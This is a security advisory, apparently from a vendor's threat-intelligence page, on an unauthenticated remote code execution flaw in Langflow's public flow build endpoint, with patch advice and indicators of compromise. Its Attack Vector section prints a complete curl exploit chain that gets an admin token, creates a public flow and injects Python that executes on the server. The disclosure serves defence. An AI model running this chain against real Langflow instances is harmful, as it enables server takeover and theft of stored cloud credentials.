[2026.07 Vulnerability Report] Langflow Remote Code Execution Vulnerability (CVE-2026-33017) | SECaaS Platform AIONCLOUD

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Back to Threat Intelligence Report

[2026.07 Vulnerability Report] Langflow Remote Code Execution Vulnerability (CVE-2026-33017)

CVE-2026-33017 is a critical (CVSS 9.8) unauthenticated remote code execution (RCE) vulnerability in Langflow, an open-source framework for building LLM and RAG pipelines. The flaw exists in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which is designed to allow unauthenticated access for public flows but improperly accepts attacker-controlled data from the request body instead of using server-stored flow definitions. This data is used to construct a Custom Component—an extensible block where users define behavior in Python. The Python code embedded in this component is then executed via `exec()` without any sandboxing or validation, allowing attackers to run arbitrary code on the server with a single HTTP request. Since Langflow stores various cloud provider credentials and API keys, exploitation can escalate beyond server compromise to lateral movement across cloud infrastructures and supply chain attacks. The vulnerability was first publicly disclosed on March 16, 2026, and active exploitation was observed within approximately 20 hours of disclosure. It has been assigned a CVSS v3.1 score of 9.8 (Critical) by the NVD and was added to the CISA KEV catalog on March 25, 2026. Users must immediately upgrade from affected versions (prior to 1.9.0) to version 1.9.0 or later.

---

1. Overview

CVE-2026-33017 is a Critical-severity remote code execution (RCE) vulnerability discovered in Langflow, an open-source framework that allows users to visually configure LLM and RAG (Retrieval-Augmented Generation) pipelines. This vulnerability occurs in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which allows unauthenticated access for building public flows.

By design, this endpoint should only use flow definitions stored on the server; however, in the actual implementation, it accepts the attacker-controlled `data` field included in the request body as-is. This data is used to configure Custom Components, which allow users to define behaviors directly using Python code; the Python code contained within these components is executed via `exec()` without any separate sandbox or validation. As a result, an attacker can execute arbitrary code on the server with a single HTTP request, without valid credentials.

Langflow is an orchestration platform that connects AI models to production data, databases, external services, and internal APIs; by its very nature, it holds a large number of cloud provider credentials and various third-party API keys. Therefore, if this vulnerability is exploited, it could lead not only to server compromise but also to lateral movement into connected cloud infrastructure and supply chain breaches. This vulnerability was first disclosed on March 16, 2026, and actual exploitation was observed approximately 20 hours after disclosure. It was assigned a CVSS v3.1 score of 9.8 (Critical) by the NVD and was added to the CISA KEV catalog on March 25, 2026.Affected versions are those prior to Langflow 1.9.0, and the vendor and security advisories recommend immediately updating to version 1.9.0 or later.

---

2. Attack Vector

CVE-2026-33017 is an unauthenticated remote code execution vulnerability occurring in Langflow’s public flow build endpoint: POST /api/v1/build_public_tmp/{flow_id}/flow. Although this endpoint is designed to allow the building of public flows without authentication, in vulnerable versions, it accepts attacker-controlled data contained in the `data` field of the request body as-is, rather than using the flow definition stored on the server.

Below is the actual code for the vulnerable endpoint, which shows that it directly receives the `data` parameter from the request body.

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED
    request: Request,
    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,  # Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Langflow’s Custom Component is an extensible block that allows users to define behavior directly using Python code; an attacker inserts a custom component containing malicious Python code within the `data` field. The server processes this as a legitimate flow component, and the inserted code is executed via `exec()` without any separate sandboxing or validation, as shown below, resulting in remote code execution.

def prepare_global_scope(module):
    exec_globals = globals().copy()

    # Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)  # line 352
        exec_globals[variable_name] = module_obj

    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION

For the attack to succeed, the target instance must have at least one Public flow, the attacker must know the UUID (flow_id) of that flow, and only a client_id cookie—which allows arbitrary strings—is required. However, when Langflow is set to its default configuration of AUTO_LOGIN=true, both the issuance of an administrator token and the creation of a public flow are possible without authentication, as shown below; therefore, the attacker can satisfy all three prerequisites on their own.

# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://[Target]/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://[Target]/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

After obtaining the `flow_id`, the attacker achieves RCE with a single request, without authentication, as shown below.

# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://[Target]/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Actual attacks were observed approximately 20 hours after the security advisory was published; analysis indicates that attackers created their own exploits based solely on the advisory’s content, even though no PoC code had been released at the time. Initially, mass scanning was conducted using Nuclei-based automated scanners; subsequently, attackers using custom exploit scripts downloaded and executed additional malware from external servers, dumped environment variables via the `env` command, .env files, and database credentials.

Meanwhile, in a separately observed attack campaign, cryptojacking activity was confirmed in which a Go-based binary called “lambsys” was used to terminate competing cryptominer processes, disable security controls such as AppArmor, SELinux, UFW, and iptables, and then install the XMRig Monero miner.

---

3. Mitigation Measures

CVE-2026-33017 allows remote code execution via a single HTTP request without authentication. As this vulnerability is listed in the CISA KEV (Known Exploited Vulnerabilities) catalog, immediate action is required. Korea’s KISA has also issued a security advisory regarding this vulnerability.

Apply the patch immediately

You must immediately upgrade to Langflow 1.9.0 or later.

Category

Version

Vulnerable Version

Langflow 1.8.2 or earlier

Patch Version

Langflow 1.9.0 or later

Temporary Mitigation

If an immediate upgrade is not possible, you can mitigate the issue by removing the `data` parameter and forcing the graph to be generated solely based on flows stored in the database for unauthenticated requests. Additionally, block external access to the /api/v1/build_public_tmp endpoint via firewall rules or a reverse proxy, and isolate the network so that the Langflow instance is not directly exposed to the internet. Remove unnecessary public flows and disable the AUTO_LOGIN=true default setting.

Verification of Compromise and Follow-Up Measures

For Langflow instances with a history of external exposure, immediately replace all API keys and database credentials for integrated services such as OpenAI, Anthropic, and AWS, and conduct a comprehensive audit of secrets stored in the .env file. Inspect system logs and network traffic based on the metrics below.

Attacker IP

IP

Activity Type

77.110.106.154

Nuclei automated scan

209.97.165.247

Nuclei Automated Scan

188.166.209.86

Nuclei Automated Scan

205.237.106.117

Nuclei Automated Scan

83.98.164.238

Custom exploits, reconnaissance, malware distribution

173.212.205.251

Custom exploits, credential theft, dropper hosting

*Note: This may be a proxy or temporary server rather than the attacker’s actual IP address; use for reference only

C2 and Malicious Infrastructure

Indicators

Description

143.110.183.86:8080

C2 server — Receives stolen data

173.212.205.251:8443

Dropper host — Delivers additional malware

83.142.209\[.\]214

IP Addresses Recommended for Outbound Connection Monitoring

Malicious Files and Behavior

Indicators

Description

Presence of lambsys binary

XMRig installation, disabling security controls, and credential theft

Abnormal cron entries

Registration to ensure lambsys persistence

DNS requests to the .oast.live, .oast.me, .oast.pro, .oast.fun, and .oastify.com domains

OOB callback domains for the Nuclei scanner

History of abnormal access to the /api/v1/build_public_tmp endpoint

Verification of POST requests to the endpoint in web server logs

---

4. Conclusion

CVE-2026-33017 is a pre-authentication remote code execution vulnerability in Langflow, which has a broad user base with over 145,000 GitHub stars. Due to its simplicity—requiring only a single HTTP request to complete the attack—and the fact that it does not require authentication, it was quickly weaponized into an automated attack tool.

This vulnerability poses a supply-chain-level threat to organizations operating AI infrastructure, as the damage can spread across the entire connected infrastructure by stealing credentials for cloud and AI services integrated with Langflow—going beyond mere server compromise. Actual attack campaigns have been confirmed to involve the simultaneous deployment of cryptominers and the theft of credentials, indicating that the types of damage can vary widely.

In all environments running Langflow, immediate upgrading to version 1.9.0 or higher and the complete replacement of existing credentials must be treated as top priorities.

---

5. Notes

Copyright 2026 AIONCLOUD's All Right Reserved| Privacy Policy| Terms of Use| Cookie Settings
Scroll Up